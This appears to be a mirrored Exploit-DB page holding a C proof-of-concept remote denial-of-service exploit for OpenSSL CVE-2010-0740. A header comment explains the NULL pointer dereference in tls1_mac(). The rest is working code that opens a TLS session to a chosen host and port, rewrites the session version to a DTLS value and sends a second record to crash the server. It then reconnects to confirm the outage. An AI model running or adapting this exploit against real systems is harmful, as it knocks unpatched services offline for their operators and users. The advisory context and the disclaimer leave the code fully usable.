OpenSSL – Remote Denial of Service

  • 作者: Andi
    日期: 2010-04-22
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/12334/
  • /***********************************************************
     * hoagie_openssl_record_of_death.c
     * OPENSSL REMOTE DENIAL-OF-SERVICE EXPLOIT 
     * - OpenSSL 0.9.8m (short = 16 bit)
     * - OpenSSL 0.9.8f through 0.9.8m (short != 16 bit)
     *
     * CVE-2010-0740
     *
     * Bug discovered by:
     * Bodo Moeller and Adam Langley (Google)
     * Philip Olausson <po@secweb.se>
     * http://openssl.org/news/secadv_20100324.txt
     *
     * The main problem is in ssl/t1_enc.c => tls1_mac() function
     *
     * - OpenSSL 0.9.8m
     * if (ssl->version == DTLS1_BAD_VER ||
     * (ssl->version == DTLS1_VERSION && ssl->client_version != DTLS1_BAD_VER))
     * {
     * unsigned char dtlsseq[8],*p=dtlsseq;
     * s2n(send?ssl->d1->w_epoch:ssl->d1->r_epoch, p);
     *
     * - OpenSSL 0.9.8f - 0.9.8n
     * if (ssl->version == DTLS1_VERSION && ssl->client_version != DTLS1_BAD_VER)
     * {
     * unsigned char dtlsseq[8],*p=dtlsseq;
     *
     * s2n(send?ssl->d1->w_epoch:ssl->d1->r_epoch, p);
     *
     * There is a NULL pointer dereference => ssl->d1 because d1 is only initialized in
     * ssl/d1_lib.c => dtls1_new(). So if you use SSLv23_server_method() or 
     * TLSv1_server_method() this variable will be NULL.
     *
     * If the patch (see http://openssl.org/news/secadv_20100324.txt) is not applied
     * its possible to set the version to DTLS1_BAD_VER (0x100) or DTLS_VERSION (0xfeff)
     * and transmit the packet to the server or client to trigger the vulnerability.
     *
     * When you are using OpenSSL 0.9.8m you can send DTLS1_BAD_VER because 0x100 is not 
     * a problem with signed/unsigned.
     *
     * If you are using OpenSSL 0.9.8f to 0.9.8n you have to trigger the vulnerability
     * via DTLS1_VERSION. In that case version will be 0xfffffeff. So it doesnt work
     * if DTLS1_VERSION is 16 bit.
     *
     * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
     * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
     * DAMAGE DONE USING THIS PROGRAM.
     *
     * VOID.AT Security
     * andi@void.at
     * http://www.void.at
     *
     ************************************************************/
    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <string.h>
    #include <netdb.h>
    #include <time.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <openssl/ssl.h>
    
    /* usage
     * display help screen
     */
    void usage(int argc, char **argv) {
     fprintf(stderr,
     "usage: %s [-h] [-v] [-d <host>] [-p <port>]\n"
     "\n"
     "-hhelp\n"
     "-vverbose\n"
     "-d host SSL server\n"
     "-p port SSL port\n"
     "-t target\n"
     " 0 ... OpenSSL 0.9.8m (short = 16 bit) - default\n"
     " 1 ... OpenSSL 0.9.8f through 0.9.8m (short != 16 bit)\n"
     ,
     argv[0]);
     exit(1);
    }
    
    /* connect_to
     * connect to remote http server
     */
    int connect_to(char *host, int port) {
     struct sockaddr_in s_in;
     struct hostent *he;
     int s;
    
     if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
    return -1;
     }
    
     memset(&s_in, 0, sizeof(s_in));
     s_in.sin_family = AF_INET;
     s_in.sin_port = htons(port);
    
     if ( (he = gethostbyname(host)) != NULL)
     memcpy(&s_in.sin_addr, he->h_addr, he->h_length);
     else {
     if ( (s_in.sin_addr.s_addr = inet_addr(host) ) < 0) {
    return -3;
     }
     }
    
     if (connect(s, (struct sockaddr *)&s_in, sizeof(s_in)) == -1) {
    return -4;
     }
    
     return s;
    }
    
    /* ssl_connect_to
     * establish ssl connection over tcp connection
     */
    SSL *ssl_connect_to(int s) {
     SSL *ssl;
     SSL_CTX *ctx;
     BIO *sbio;
     SSL_METHOD *meth;
    
     CRYPTO_malloc_init();
     SSL_load_error_strings();
     SSL_library_init();
    
     // meth = TLSv1_client_method();
     meth = SSLv23_client_method();
     ctx = SSL_CTX_new(meth);
     ssl = SSL_new(ctx);
     sbio = BIO_new_socket(s, BIO_NOCLOSE);
     SSL_set_bio(ssl, sbio, sbio);
    
     if (SSL_connect(ssl) <= 0) {
    return NULL;
     }
    
     return ssl;
    }
    
    
    int main(int argc, char **argv) {
     struct sockaddr_in s_in;
     struct hostent *he;
     char data[1024];
    
     int s;
     int target = 0;
     char c;
     char *destination = NULL;
     int port = 0;
     SSL *ssl = NULL;
    
     fprintf(stderr,
     "hoagie_openssl_record_of_death.c - openssl ssl3_get_record() remote\n"
     "-andi / void.at\n\n");
    
     if (argc < 2) {
    usage(argc, argv);
     } else {
    while ((c = getopt (argc, argv, "hd:p:t:")) != EOF) {
     switch (c) {
    case 'h':
     usage(argc, argv);
     break;
    case 'd':
     destination = optarg;
     break;
    case 'p':
     port = atoi(optarg);
     break;
    case 't':
     target = atoi(optarg);
     break;
     }
    }
    
    if (!destination || !port) {
     fprintf(stderr, "[*] destination and/or port missing\n");
    } else if (target && target != 1) {
     fprintf(stderr, "[*] invalid target '%d'\n", target);
    } else {
     s = connect_to(destination, port);
     if (s > 0) {
    fprintf(stderr, "[+] tcp connection to '%s:%d' successful\n", destination, port);
    ssl = ssl_connect_to(s);
    if (ssl) {
     fprintf(stderr, "[+] ssl connection to '%s:%d' successful\n", destination, port);
     snprintf(data, sizeof(data), "GET / HTTP/1.0\r\n\r\n");
    
     fprintf(stderr, "[+] sending first packet ...\n");
     SSL_write(ssl, data, strlen(data));
    
     if (!target) {
    ssl->version = DTLS1_BAD_VER;
     } else {
    ssl->version = DTLS1_VERSION;
     }
    
     fprintf(stderr, "[+] sending second paket ...\n");
     SSL_write(ssl, data, strlen(data));
    
     SSL_shutdown(ssl);
     close(s);
    
     sleep(1);
    
     s = connect_to(destination, port);
     if (s > 0) {
    fprintf(stderr, "[-] exploit failed\n");
    close(s);
     } else {
    fprintf(stderr, "[+] exploit successful\n");
     }
    } else {
     fprintf(stderr, "[-] ssl connection to '%s:%d' failed\n", destination, port);
    }
     } else {
    fprintf(stderr, "[-] tcp connection to '%s:%d' failed\n", destination, port);
     }
    }
     }
     
     return 0;
    }